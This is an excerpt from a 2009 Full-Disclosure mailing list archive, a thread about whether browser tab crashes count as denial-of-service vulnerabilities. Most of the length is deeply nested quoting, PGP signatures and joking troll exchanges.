> >> >"hung"
> >> >> >state in the Firefox browser by opening 30 simultaneous tabs
> >> >> >pointed
> >> >> >at http://www.welcometointernet.org/lawnmower/ and adding a
> >> >31st
> >> >> >tab
> >> >> >viewing http://www.hotrussianbrides.com.
> >> >> >
> >> >> >Also, I am not amused.
> >> >> >
> >> >> >
> >> >> >Your humble servant,
> >> >> >Ze Mustache von Kletnieks
> >> >> >
> >> >> >On Mon, Mar 2, 2009 at 10:29 PM,
> ><bobby.mugabe at hushmail.com>
> >> >> >wrote:
> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> >> >> Hash: SHA1
> >> >> >>
> >> >> >> Dear Nick,
> >> >> >>
> >> >> >> You and Thierry Loller are wrong.
> >> >> >>
> >> >> >> - -bm
> >> >> >>
> >> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
> >> ><nick at virus-
> >> >> >> l.demon.co.uk> wrote:
> >> >> >>>Chris Evans to Thierry Zoller:
> >> >> >>>
> >> >> >>>> > Example
> >> >> >>>> > If a chrome tab can be crashed arbritarely (remotely)
> >it
> >> >is
> >> >> >a
> >> >> >>>DoS attack
> >> >> >>>> > but with ridiculy low impact to the end-user as it
> >only
> >> >> >>>crashes the tab
> >> >> >>>> > it was subjected to, and not the whole browser or
> >> >operation
> >> >> >>>system.
> >> >> >>>> > But the fact remains that this was the impact of a DoS
> >> >> >>>condition,
> >> >> >>>> > the tab crashes arbritarily.
> >> >> >>>>
> >> >> >>>> Eh? If you visit www.evil.com and your tab crashes,
> >that's
> >> >no
> >> >> >>>> different from www.evil.com closing its own tab with
> >> >> >Javascript.
> >> >> >>>
> >> >> >>>But what if www.evil.com has run an injection attack of
> >some
> >> >> >kind
> >> >> >>>(SQL,
> >> >> >>>XSS in blog comments, etc, etc) against www.stupid.com?
> >> >> >>>
> >> >> >>>Visitors to stupid.com then suffer a DoS...
> >> >> >>>
> >> >> >>>Yes, stupid.com should run their site better, fix their
> >> >myriad
> >> >> >XSS
> >> >> >>>holes,
> >> >> >>>etc, etc.
> >> >> >>>
> >> >> >>>But this is the Internet, so this "software flaw" can be
> >> >> >leveraged
> >> >> >>>as
> >> >> >>>security vulnerability.
> >> >> >>>
> >> >> >>>I'm with Thierry on this...
> >> >> >>>
> >> >> >>>
> >> >> >>>Regards,
> >> >> >>>
> >> >> >>>Nick FitzGerald
> >> >> >>>
> >> >> >>>
> >> >> >>>_______________________________________________
> >> >> >>>Full-Disclosure - We believe in it.
> >> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
> >> >charter.html
> >> >> >>>Hosted and sponsored by Secunia - http://secunia.com/
> >> >> >> -----BEGIN PGP SIGNATURE-----
> >> >> >> Charset: UTF8
> >> >> >> Version: Hush 3.0
> >> >> >> Note: This signature can be verified at
> >> >> >https://www.hushtools.com/verify
> >> >> >>
> >> >> >>
> >> >>
> >>
> >>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh
> >8
> >> >+
> >> >> >0
> >> >> >>
> >> >>
> >>
> >>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fx
> >X
> >> >F
> >> >> >m
> >> >> >>
> >> >>
> >>
> >>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5e
> >A
> >> >h
> >> >> >p
> >> >> >> UpXIZ1s=
> >> >> >> =zgqd
> >> >> >> -----END PGP SIGNATURE-----
> >> >> >>
> >> >> >> --
> >> >> >> Become a medical transcriptionist at home, at your own
> >pace.
> >> >> >>
> >> >>
> >>
> >>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc
> >7
> >> >c
> >> >> >DXj4iASDyccuLtQA2i9f1le/
> >> >> >>
> >> >> >> _______________________________________________
> >> >> >> Full-Disclosure - We believe in it.
> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
> >> >charter.html
> >> >> >> Hosted and sponsored by Secunia - http://secunia.com/
> >> >> >>
> >> >> >
> >> >> >_______________________________________________
> >> >> >Full-Disclosure - We believe in it.
> >> >> >Charter: http://lists.grok.org.uk/full-disclosure-
> >charter.html
> >> >> >Hosted and sponsored by Secunia - http://secunia.com/
> >> >> -----BEGIN PGP SIGNATURE-----
> >> >> Charset: UTF8
> >> >> Version: Hush 3.0
> >> >> Note: This signature can be verified at
> >> >https://www.hushtools.com/verify
> >> >>
> >> >>
> >>
> >>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVr
> >k
> >> >n
> >> >>
> >>
> >>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlN
> >A
> >> >5
> >> >>
> >>
> >>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3v
> >j
> >> >u
> >> >> P7xAvvQ=
> >> >> =avqi
> >> >> -----END PGP SIGNATURE-----
> >> >>
> >> >> --
> >> >> Click to find great rates on health insurance, save big, shop
> >> >here.
> >> >>
> >> >>
> >>
> >>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2G
> >W
> >> >ai39WLJo4QlOxYCnjxaqn9u/
> >> >>
> >> >> _______________________________________________
> >> >> Full-Disclosure - We believe in it.
> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
> >charter.html
> >> >> Hosted and sponsored by Secunia - http://secunia.com/
> >> >>
> >> -----BEGIN PGP SIGNATURE-----
> >> Charset: UTF8
> >> Version: Hush 3.0
> >> Note: This signature can be verified at
> >https://www.hushtools.com/verify
> >>
> >>
> >wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0JS
> >g
> >>
> >XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwrF
> >M
> >>
> >kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4C
> >L
> >> XTUWWLI=
> >> =FOnb
> >> -----END PGP SIGNATURE-----
> >>
> >> --
> >> Become a medical transcriptionist at home, at your own pace.
> >>
> >>
> >http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEPV
> >YBzpFXa7E7s6QHH4MsdQbb6/
> >>
> >>
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmttPMACgkQhNp8gzZx3sjzEwP+LKS6V4qJiWSZckzKh/oS5VSCWKZ6
> 1bV6uhWvfZKflCc19WDP0qvX/39nXQnciHu77C5t2rc1Sz8puZ4uqW9jvc1vSLB6Ixhk
> f9kJc/Xqy3jz2QgQn7ljkTlfLhiylI1Y4DSnl/VH7gQfMFLCzFaPY7MkX596quYacZu3
> eJKIjEU=
> =MEss
> -----END PGP SIGNATURE-----
>
> --
> Thinking of a life with religion?  Click here to find a religious school
> near you.
>
> http://tagline.hushmail.com/fc/BLSrjkqkOt23N64MfCBCDe7Ocvf3t1DcVFSDppHSTZUDCQJQcaRhPY88GLe/
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/8cac35c1/attachment.html 

From nick at virus-l.demon.co.uk  Tue Mar  3 23:00:10 2009
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Wed, 04 Mar 2009 12:00:10 +1300
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <72daeffd0903031237q36b8ffbree48ec283681ec64@mail.gmail.com>
References: <1695017750.20090227143622@Zoller.lu>
	<49ADB672.24232.C6681B5F@nick.virus-l.demon.co.uk>
	<72daeffd0903031237q36b8ffbree48ec283681ec64@mail.gmail.com>
Message-ID: <49AE6D4A.5209.C93259E3@nick.virus-l.demon.co.uk>

Chris Evans to me:

> By this definition of yours, DoS is fundamentally built in to browsers
> (by way of simply following specifications) -- even those with decent
> privsep models.

Not necessarily...

Factually, probably so but that says more about our s/w development 
methods and what has (historically) passed as "acceptable" in that arena.

Browsers could reasonably implement various kinds of resource expenditure 
limitations, but few, if any, do OOTB (FF 2.x I think added some basic 
"this script is taking too long" controls, but there is a lot more that 
could be done).

Is that specification antagonistic?  Arguably yes because the 
specifications don't say "... to N levels of recursion" and such.

But maybe that tells us an awful lot about the specifications and the 
culture of the folk who wrote them?

Yep -- they came from that "she'll be right" s/w dev background that is 
responsible for most of the crap that means we're assured of jobs for 
life (well, if you're as old as me anyway!).

> Web security IS fundamentally broken at the foundations, so I'm not
> going to disagree with you.

8-)

> It raises the question: DoS is an overloaded term, ...

DoS is not an overloaded term -- it means pretty much what it says, as 
Thierry pointed out.

Yes, a lot of noobs and journalists confuse it with _D_DoS and its usual, 
deliberate "with malicious intent" connotation, but that might just be an 
education problem...

> ... perhaps it should
> be reserved for cases that actually have real-world significance? Or
> is a new term required?

How do we operationally define "real-world significance"?

That was my original point -- this is a DoS

Whether it's "worthy" of discussion here or not is a different issue that 
touches precisely on the issue of defining "real-world significance".

There may be some subtle use for such a vuln that allows it to be 
combined with one or more other "minor" vulns to make for a modestly 
worrying attack, or there may not.  Until that is found (probably by a 
Black Hat because White Hats are so quick to dismiss things like this 
with "it's only a trivial browser tab-closing DoS" and move on to sexier 
sounding bugs) this may be ignored because no-one deems it "worthy", 
extending the long, sad history of quality neglect in s/w development.


Regards,

Nick FitzGerald




From bobby.mugabe at hushmail.com  Tue Mar  3 23:19:43 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 18:19:43 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303231943.8D36328042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Huh?

- -bm

On Tue, 03 Mar 2009 18:01:05 -0500 Jason Starks
<jstarks440 at gmail.com> wrote:
>Right..
>
>>On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com>
>wrote:
>>
>>> -----BEGIN PGP SIGNED MESSAGE-----
>>> Hash: SHA1
>>>
>>> Mr. Stark,
>
>There.
>
>On Tue, Mar 3, 2009 at 5:56 PM, <bobby.mugabe at hushmail.com> wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Where?
>>
>> - -bm
>>
>> On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks
>> <jstarks440 at gmail.com> wrote:
>> >Mr. Mustache,
>> >
>> >There is a missing "s" on the end of my last name.
>> >
>> >Yours truly,
>> >
>> >Jason "Bench Press" Starks
>> >
>> >On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com>
>wrote:
>> >
>> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> Hash: SHA1
>> >>
>> >> Mr. Stark,
>> >>
>> >> Adhering to the tradition of my fathers, I do not sport any
>> >facial
>> >> hair and take offense to your comment, and since you're
>> >obviously
>> >> lacking basic observational skills I highly doubt you're even
>as
>> >> talented as my Cadburys, at anything.
>> >>
>> >> - -bm
>> >>
>> >> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
>> >> <jstarks440 at gmail.com> wrote:
>> >> >Mr. Mustache, it is obvious that I have more talent than a
>box
>> >of
>> >> >chocolates, and that you envy the sadistic nature of your
>> >fellow
>> >> >trolls on
>> >> >this list. Point blank.
>> >> >
>> >> >On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com>
>> >wrote:
>> >> >
>> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> Hash: SHA1
>> >> >>
>> >> >> Dear Valdis,
>> >> >>
>> >> >> I have been able to reproduce a similar situation using
>> >Firefox
>> >> >> under MacOSX, using different websites and a significantly
>> >> >larger
>> >> >> number of tabs.  Do you think these issues might be
>related
>> >or
>> >> >are
>> >> >> they operating system specific?  What model of CPU were
>you
>> >> >testing
>> >> >> this issue under?
>> >> >>
>> >> >> Thanks,
>> >> >> - -bm
>> >> >>
>> >> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
>> >> >> <security.mustache at gmail.com> wrote:
>> >> >> >I would like to point out that I have been able to create
>a
>> >> >"hung"
>> >> >> >state in the Firefox browser by opening 30 simultaneous
>tabs
>> >> >> >pointed
>> >> >> >at http://www.welcometointernet.org/lawnmower/ and adding
>a
>> >> >31st
>> >> >> >tab
>> >> >> >viewing http://www.hotrussianbrides.com.
>> >> >> >
>> >> >> >Also, I am not amused.
>> >> >> >
>> >> >> >
>> >> >> >Your humble servant,
>> >> >> >Ze Mustache von Kletnieks
>> >> >> >
>> >> >> >On Mon, Mar 2, 2009 at 10:29 PM,
>> ><bobby.mugabe at hushmail.com>
>> >> >> >wrote:
>> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> >> Hash: SHA1
>> >> >> >>
>> >> >> >> Dear Nick,
>> >> >> >>
>> >> >> >> You and Thierry Loller are wrong.
>> >> >> >>
>> >> >> >> - -bm
>> >> >> >>
>> >> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
>> >> ><nick at virus-
>> >> >> >> l.demon.co.uk> wrote:
>> >> >> >>>Chris Evans to Thierry Zoller:
>> >> >> >>>
>> >> >> >>>> > Example
>> >> >> >>>> > If a chrome tab can be crashed arbritarely
>(remotely)
>> >it
>> >> >is
>> >> >> >a
>> >> >> >>>DoS attack
>> >> >> >>>> > but with ridiculy low impact to the end-user as it
>> >only
>> >> >> >>>crashes the tab
>> >> >> >>>> > it was subjected to, and not the whole browser or
>> >> >operation
>> >> >> >>>system.
>> >> >> >>>> > But the fact remains that this was the impact of a
>DoS
>> >> >> >>>condition,
>> >> >> >>>> > the tab crashes arbritarily.
>> >> >> >>>>
>> >> >> >>>> Eh? If you visit www.evil.com and your tab crashes,
>> >that's
>> >> >no
>> >> >> >>>> different from www.evil.com closing its own tab with
>> >> >> >Javascript.
>> >> >> >>>
>> >> >> >>>But what if www.evil.com has run an injection attack of
>> >some
>> >> >> >kind
>> >> >> >>>(SQL,
>> >> >> >>>XSS in blog comments, etc, etc) against www.stupid.com?
>> >> >> >>>
>> >> >> >>>Visitors to stupid.com then suffer a DoS...
>> >> >> >>>
>> >> >> >>>Yes, stupid.com should run their site better, fix their
>> >> >myriad
>> >> >> >XSS
>> >> >> >>>holes,
>> >> >> >>>etc, etc.
>> >> >> >>>
>> >> >> >>>But this is the Internet, so this "software flaw" can
>be
>> >> >> >leveraged
>> >> >> >>>as
>> >> >> >>>security vulnerability.
>> >> >> >>>
>> >> >> >>>I'm with Thierry on this...
>> >> >> >>>
>> >> >> >>>
>> >> >> >>>Regards,
>> >> >> >>>
>> >> >> >>>Nick FitzGerald
>> >> >> >>>
>> >> >> >>>
>> >> >> >>>_______________________________________________
>> >> >> >>>Full-Disclosure - We believe in it.
>> >> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >charter.html
>> >> >> >>>Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> >> Charset: UTF8
>> >> >> >> Version: Hush 3.0
>> >> >> >> Note: This signature can be verified at
>> >> >> >https://www.hushtools.com/verify
>> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>>
>>>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qv
>h
>> >8
>> >> >+
>> >> >> >0
>> >> >> >>
>> >> >>
>> >>
>>
>>>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53f
>x
>> >X
>> >> >F
>> >> >> >m
>> >> >> >>
>> >> >>
>> >>
>>
>>>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5
>e
>> >A
>> >> >h
>> >> >> >p
>> >> >> >> UpXIZ1s=
>> >> >> >> =zgqd
>> >> >> >> -----END PGP SIGNATURE-----
>> >> >> >>
>> >> >> >> --
>> >> >> >> Become a medical transcriptionist at home, at your own
>> >pace.
>> >> >> >>
>> >> >>
>> >>
>>
>>>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWaf
>c
>> >7
>> >> >c
>> >> >> >DXj4iASDyccuLtQA2i9f1le/
>> >> >> >>
>> >> >> >> _______________________________________________
>> >> >> >> Full-Disclosure - We believe in it.
>> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >charter.html
>> >> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> >>
>> >> >> >
>> >> >> >_______________________________________________
>> >> >> >Full-Disclosure - We believe in it.
>> >> >> >Charter: http://lists.grok.org.uk/full-disclosure-
>> >charter.html
>> >> >> >Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> Charset: UTF8
>> >> >> Version: Hush 3.0
>> >> >> Note: This signature can be verified at
>> >> >https://www.hushtools.com/verify
>> >> >>
>> >> >>
>> >>
>>
>>>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDV
>r
>> >k
>> >> >n
>> >> >>
>> >>
>>
>>>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGl
>N
>> >A
>> >> >5
>> >> >>
>> >>
>>
>>>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3
>v
>> >j
>> >> >u
>> >> >> P7xAvvQ=
>> >> >> =avqi
>> >> >> -----END PGP SIGNATURE-----
>> >> >>
>> >> >> --
>> >> >> Click to find great rates on health insurance, save big,
>shop
>> >> >here.
>> >> >>
>> >> >>
>> >>
>>
>>>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2
>G
>> >W
>> >> >ai39WLJo4QlOxYCnjxaqn9u/
>> >> >>
>> >> >> _______________________________________________
>> >> >> Full-Disclosure - We believe in it.
>> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>> >charter.html
>> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >> >>
>> >> -----BEGIN PGP SIGNATURE-----
>> >> Charset: UTF8
>> >> Version: Hush 3.0
>> >> Note: This signature can be verified at
>> >https://www.hushtools.com/verify
>> >>
>> >>
>>
>>wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0J
>S
>> >g
>> >>
>>
>>XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwr
>F
>> >M
>> >>
>>
>>kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4
>C
>> >L
>> >> XTUWWLI=
>> >> =FOnb
>> >> -----END PGP SIGNATURE-----
>> >>
>> >> --
>> >> Become a medical transcriptionist at home, at your own pace.
>> >>
>> >>
>>
>>http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEP
>V
>> >YBzpFXa7E7s6QHH4MsdQbb6/
>> >>
>> >>
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Version: Hush 3.0
>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>
>>
>wpwEAQMCAAYFAkmttPMACgkQhNp8gzZx3sjzEwP+LKS6V4qJiWSZckzKh/oS5VSCWKZ
>6
>>
>1bV6uhWvfZKflCc19WDP0qvX/39nXQnciHu77C5t2rc1Sz8puZ4uqW9jvc1vSLB6Ixh
>k
>>
>f9kJc/Xqy3jz2QgQn7ljkTlfLhiylI1Y4DSnl/VH7gQfMFLCzFaPY7MkX596quYacZu
>3
>> eJKIjEU=
>> =MEss
>> -----END PGP SIGNATURE-----
>>
>> --
>> Thinking of a life with religion?  Click here to find a
>religious school
>> near you.
>>
>>
>http://tagline.hushmail.com/fc/BLSrjkqkOt23N64MfCBCDe7Ocvf3t1DcVFSD
>ppHSTZUDCQJQcaRhPY88GLe/
>>
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAkmtum0ACgkQhNp8gzZx3shySwP+OZMe7L1APo1tHQGxgLBlTmxkyUZ9
jD9SakBnwfIuU0aPalwatTGBu+BHK6hIk9WGT1dtwFWLOddVCVKp0bxYXftfJDuBof0R
+d/NjrRgM8fbz4LEOMe+hmszkDjhvAoqYQYBVjCJ31BxQru7NUqM41Su7nOYCUmUtlAr
u+o2+pM=
=ER1V
-----END PGP SIGNATURE-----

--
Click to compare and save on auto insurance.
 http://tagline.hushmail.com/fc/BLSrjkqePmhghqMaGaggjPnPM0pjaa1RceGUNRckcAOdpQpjeXgN4mgu11G/



From security.mustache at gmail.com  Tue Mar  3 23:21:23 2009
From: security.mustache at gmail.com (Valdis' Mustache)
Date: Tue, 3 Mar 2009 18:21:23 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <e1b25fd0903031501r25e0b2aav6c0c612dc0de364@mail.gmail.com>
References: <20090303225622.7F1AD28042@smtp.hushmail.com>
	<e1b25fd0903031501r25e0b2aav6c0c612dc0de364@mail.gmail.com>
Message-ID: <26eb2b870903031521u1a617d39r3fede7c7aabc1fd8@mail.gmail.com>

Mr. Snarks,

If you can't tell the difference between the Zimbabwean president and
what's under my esteemed owner's nose I suggest you consult RFC 2821
for guidance.

I am NOT amused.


Your humble servant,
V kn?r z Valdis

On Tue, Mar 3, 2009 at 6:01 PM, Jason Starks <jstarks440 at gmail.com> wrote:
> Right..
>
>>On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:
>>
>>> -----BEGIN PGP SIGNED MESSAGE-----
>>> Hash: SHA1
>>>
>>> Mr. Stark,
>
> There.
>
> On Tue, Mar 3, 2009 at 5:56 PM, <bobby.mugabe at hushmail.com> wrote:
>>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Where?
>>
>> - -bm
>>
>> On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks
>> <jstarks440 at gmail.com> wrote:
>> >Mr. Mustache,
>> >
>> >There is a missing "s" on the end of my last name.
>> >
>> >Yours truly,
>> >
>> >Jason "Bench Press" Starks
>> >
>> >On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:
>> >
>> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> Hash: SHA1
>> >>
>> >> Mr. Stark,
>> >>
>> >> Adhering to the tradition of my fathers, I do not sport any
>> >facial
>> >> hair and take offense to your comment, and since you're
>> >obviously
>> >> lacking basic observational skills I highly doubt you're even as
>> >> talented as my Cadburys, at anything.
>> >>
>> >> - -bm
>> >>
>> >> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
>> >> <jstarks440 at gmail.com> wrote:
>> >> >Mr. Mustache, it is obvious that I have more talent than a box
>> >of
>> >> >chocolates, and that you envy the sadistic nature of your
>> >fellow
>> >> >trolls on
>> >> >this list. Point blank.
>> >> >
>> >> >On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com>
>> >wrote:
>> >> >
>> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> Hash: SHA1
>> >> >>
>> >> >> Dear Valdis,
>> >> >>
>> >> >> I have been able to reproduce a similar situation using
>> >Firefox
>> >> >> under MacOSX, using different websites and a significantly
>> >> >larger
>> >> >> number of tabs. ?Do you think these issues might be related
>> >or
>> >> >are
>> >> >> they operating system specific? ?What model of CPU were you
>> >> >testing
>> >> >> this issue under?
>> >> >>
>> >> >> Thanks,
>> >> >> - -bm
>> >> >>
>> >> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
>> >> >> <security.mustache at gmail.com> wrote:
>> >> >> >I would like to point out that I have been able to create a
>> >> >"hung"
>> >> >> >state in the Firefox browser by opening 30 simultaneous tabs
>> >> >> >pointed
>> >> >> >at http://www.welcometointernet.org/lawnmower/ and adding a
>> >> >31st
>> >> >> >tab
>> >> >> >viewing http://www.hotrussianbrides.com.
>> >> >> >
>> >> >> >Also, I am not amused.
>> >> >> >
>> >> >> >
>> >> >> >Your humble servant,
>> >> >> >Ze Mustache von Kletnieks
>> >> >> >
>> >> >> >On Mon, Mar 2, 2009 at 10:29 PM,
>> ><bobby.mugabe at hushmail.com>
>> >> >> >wrote:
>> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> >> Hash: SHA1
>> >> >> >>
>> >> >> >> Dear Nick,
>> >> >> >>
>> >> >> >> You and Thierry Loller are wrong.
>> >> >> >>
>> >> >> >> - -bm
>> >> >> >>
>> >> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
>> >> ><nick at virus-
>> >> >> >> l.demon.co.uk> wrote:
>> >> >> >>>Chris Evans to Thierry Zoller:
>> >> >> >>>
>> >> >> >>>> > Example
>> >> >> >>>> > If a chrome tab can be crashed arbritarely (remotely)
>> >it
>> >> >is
>> >> >> >a
>> >> >> >>>DoS attack
>> >> >> >>>> > but with ridiculy low impact to the end-user as it
>> >only
>> >> >> >>>crashes the tab
>> >> >> >>>> > it was subjected to, and not the whole browser or
>> >> >operation
>> >> >> >>>system.
>> >> >> >>>> > But the fact remains that this was the impact of a DoS
>> >> >> >>>condition,
>> >> >> >>>> > the tab crashes arbritarily.
>> >> >> >>>>
>> >> >> >>>> Eh? If you visit www.evil.com and your tab crashes,
>> >that's
>> >> >no
>> >> >> >>>> different from www.evil.com closing its own tab with
>> >> >> >Javascript.
>> >> >> >>>
>> >> >> >>>But what if www.evil.com has run an injection attack of
>> >some
>> >> >> >kind
>> >> >> >>>(SQL,
>> >> >> >>>XSS in blog comments, etc, etc) against www.stupid.com?
>> >> >> >>>
>> >> >> >>>Visitors to stupid.com then suffer a DoS...
>> >> >> >>>
>> >> >> >>>Yes, stupid.com should run their site better, fix their
>> >> >myriad
>> >> >> >XSS
>> >> >> >>>holes,
>> >> >> >>>etc, etc.
>> >> >> >>>
>> >> >> >>>But this is the Internet, so this "software flaw" can be
>> >> >> >leveraged
>> >> >> >>>as
>> >> >> >>>security vulnerability.
>> >> >> >>>
>> >> >> >>>I'm with Thierry on this...
>> >> >> >>>
>> >> >> >>>
>> >> >> >>>Regards,
>> >> >> >>>
>> >> >> >>>Nick FitzGerald
>> >> >> >>>
>> >> >> >>>
>> >> >> >>>_______________________________________________
>> >> >> >>>Full-Disclosure - We believe in it.
>> >> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >charter.html
>> >> >> >>>Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> >> Charset: UTF8
>> >> >> >> Version: Hush 3.0
>> >> >> >> Note: This signature can be verified at
>> >> >> >https://www.hushtools.com/verify
>> >> >> >>
>> >> >> >>
>> >> >>
>> >>
>> >>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh
>> >8
>> >> >+
>> >> >> >0
>> >> >> >>
>> >> >>
>> >>
>> >>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fx
>> >X
>> >> >F
>> >> >> >m
>> >> >> >>
>> >> >>
>> >>
>> >>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5e
>> >A
>> >> >h
>> >> >> >p
>> >> >> >> UpXIZ1s=
>> >> >> >> =zgqd
>> >> >> >> -----END PGP SIGNATURE-----
>> >> >> >>
>> >> >> >> --
>> >> >> >> Become a medical transcriptionist at home, at your own
>> >pace.
>> >> >> >>
>> >> >>
>> >>
>> >>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc
>> >7
>> >> >c
>> >> >> >DXj4iASDyccuLtQA2i9f1le/
>> >> >> >>
>> >> >> >> _______________________________________________
>> >> >> >> Full-Disclosure - We believe in it.
>> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>> >> >charter.html
>> >> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> >>
>> >> >> >
>> >> >> >_______________________________________________
>> >> >> >Full-Disclosure - We believe in it.
>> >> >> >Charter: http://lists.grok.org.uk/full-disclosure-
>> >charter.html
>> >> >> >Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> Charset: UTF8
>> >> >> Version: Hush 3.0
>> >> >> Note: This signature can be verified at
>> >> >https://www.hushtools.com/verify
>> >> >>
>> >> >>
>> >>
>> >>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVr
>> >k
>> >> >n
>> >> >>
>> >>
>> >>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlN
>> >A
>> >> >5
>> >> >>
>> >>
